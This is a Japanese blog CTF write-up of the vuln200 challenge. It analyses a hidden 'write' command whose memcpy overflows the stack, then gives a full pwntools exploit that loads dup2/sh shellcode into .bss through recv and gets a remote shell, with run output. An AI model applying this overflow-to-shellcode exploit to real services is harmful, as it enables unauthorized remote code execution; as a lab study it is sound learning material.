mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwnlist baby vuln200

下調べ

mattun-mart@4ctf:~/pwn/baby/vuln200$ file vuln200 | sed -e "s/,/\n/g"
vuln200: ELF 32-bit LSB  executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked (uses shared libs)
 for GNU/Linux 2.6.24
 BuildID[sha1]=b0adbe78fb249940c782b5118d9bf3f06328a22f
 stripped
mattun-mart@4ctf:~/pwn/baby/vuln200$ checksec.sh --file vuln200 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   vuln200

NXやSSPが無効.これもどっかにシェルコード積んでやればよさそう.
ubuntu14.04 64bitで動かしてます.

解析

straceで動かすとポート7777で待ち受けていことがわかる.あと/logs/pwn2logが開けなくて落ちてるので作ってやる.
以下はstraceの一部.

open("./logs/pwn2log", O_WRONLY|O_CREAT|O_APPEND, 0666) = -1 ENOENT (No such file or directory)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x46} ---
+++ killed by SIGSEGV +++
Segmentation fault

んで接続してみるとCODEGATE 2013 Util serviceが待ってる.
表示されるメニューの文字を入力すると書く方式で入力値を変換してくれる.

mattun-mart@4ctf:~/pwn/baby/vuln200$ nc localhost 7777
CODEGATE 2013 Util service!
[*] md5
[*] help
[*] base64 encode
[*] base64 decode
[*] quit

大量の文字を送ってみたりといろいろ遊んでみるも特にバグらしいものが見当たらない.
しいて言うならば,継続して同じ変換を行う際に前回の入力内容より短い文字を送ると前回の入力内容が残ったまま変換されるので正しく変換できてないことぐらい.
ってことでバイナリを解析していく.

デバッガ起動するとデバッガを検知したというメッセージが表示されるが,メッセージが表示されるだけなので問題ない.
解析していくと次のような流れで動作していた.

  1. 入力された内容を受け取る
  2. 受け取った文字列がメニューの内容と一致するかチェック
  3. 一致したら各変換処理へ移行.間違っていたら再度メニュー表示
  4. 変換したい値を受け取り,変換後の値を表示.
  5. キーボードから何か入力されるとメニュー画面を表示.1に戻る.

入力文字数は制限されていてスタック領域を破壊するなどの問題はなさそうだった.
んで,どこに問題があるかというと,隠しメニューwrite.

以下のように,メニューで受け取った文字列(hoge)とwriteを比較していた.

[----------------------------------registers-----------------------------------]
EAX: 0x8049c3a ("write")
EBX: 0xffffce9c --> 0x0 
ECX: 0x5 
EDX: 0xffffcfa0 ("hoge\n")
ESI: 0xffffcfa0 ("hoge\n")
EDI: 0x8049c3a ("write")
EBP: 0xffffcf88 --> 0xffffd178 --> 0x0 
ESP: 0xffffcb70 --> 0x0 
EIP: 0x804901f (repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi])
EFLAGS: 0x200286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049016:	mov    ecx,0x5
   0x804901b:	mov    esi,edx
   0x804901d:	mov    edi,eax
=> 0x804901f:	repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x8049021:	seta   dl
   0x8049024:	setb   al
   0x8049027:	mov    ecx,edx
   0x8049029:	sub    cl,al

バイナリを追っていくとどうやらwriteはメニューで入力したwrite以降の文字列(以下の例ではhogeshi)を別のスタック領域にコピーするようだ.
このときwrite処理前後のコピー先スタック領域のダンプ結果dump.txtをカレントディレクトリに生成してる.

[*] md5
[*] base64 encode
[*] base64 decode
[*] help
[*] quit
writehogeshi
write running
Copying bytes
DONE
Return to the main
[----------------------------------registers-----------------------------------]
EAX: 0xffffce9c --> 0x0 
EBX: 0xffffce9c --> 0x0 
ECX: 0x9 ('\t')
EDX: 0xffffcfa5 (" hogeshi\n")
ESI: 0xffffcfa5 (" hogeshi\n")
EDI: 0x8049c3f --> 0x46454200 ('')
EBP: 0xffffcf88 --> 0xffffd178 --> 0x0 
ESP: 0xffffcb70 --> 0xffffce9c --> 0x0 
EIP: 0x8049088 (call   0x8048810 <memcpy@plt>)
EFLAGS: 0x200206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804907d:	mov    DWORD PTR [esp+0x8],ecx
   0x8049081:	mov    DWORD PTR [esp+0x4],edx
   0x8049085:	mov    DWORD PTR [esp],eax
=> 0x8049088:	call   0x8048810 <memcpy@plt>
   0x804908d:	lea    eax,[ebp-0xec]
   0x8049093:	mov    DWORD PTR [esp+0x4],eax
   0x8049097:	mov    DWORD PTR [esp],0x8049c63
   0x804909e:	call   0x80493b1
Guessed arguments:
arg[0]: 0xffffce9c --> 0x0 # 4つ前の命令lea    eax,[ebp-0xec]で指定
arg[1]: 0xffffcfa5 (" hogeshi\n")
arg[2]: 0x9 ('\t')

まぁこの処理コピー先の領域の大きさなんて考えていないのでmemcpyで確保したスタック領域を破壊できる.
具体的にはスタックは下図のようになっているので0xEC+4文字以上入力するとEIPを書き換えることができる.

f:id:mattun_mart:20170923210703p:plain
ちなみに図には書いてないがESP側にはmd5base64等の処理の際にユーザが入力する値が格納されてたりする.

Exploit

EIP奪えたので後は好き勝手やるだけ.
今回はNXが無効なので,どっかにシェルコード積んでシェルを起動する.
スタックのアドレスはリークできそうにもないので.bss領域にシェルコードを乗せてやることにする.
.bss領域への書き込みはrecv関数で行う.
ってことでExploitコード.
.bss領域のアドレスはreadelfコマンドで調べた.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct

host = 'localhost'
port = 7777

conn = remote(host, port)

bss_addr = 0x804b0a0
elf = ELF('./vuln200')
recv_plt_addr = elf.plt['recv']

shellcode = asm(shellcraft.dupsh(4))
shellcode += asm(shellcraft.sh())

ret_addr = p32(recv_plt_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)

payload = "write"
payload += "A" * 240
payload += ret_addr
payload += "\n"

conn.send(payload)
conn.recv()
conn.send(shellcode)
conn.interactive()

結果

mattun-mart@4ctf:~/pwn/baby/vuln200$ python exploit.py 
[+] Opening connection to localhost on port 7777: Done
[*] '/home/mattun-mart/pwn/baby/vuln200/vuln200'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] Switching to interactive mode
$ ls
dump
dump.txt
exploit.py
logs
peda-session-vuln200.txt
vuln200

vuln100のほうが難しかった気がする.
解析さえちゃんとできれば割とすぐ解ける.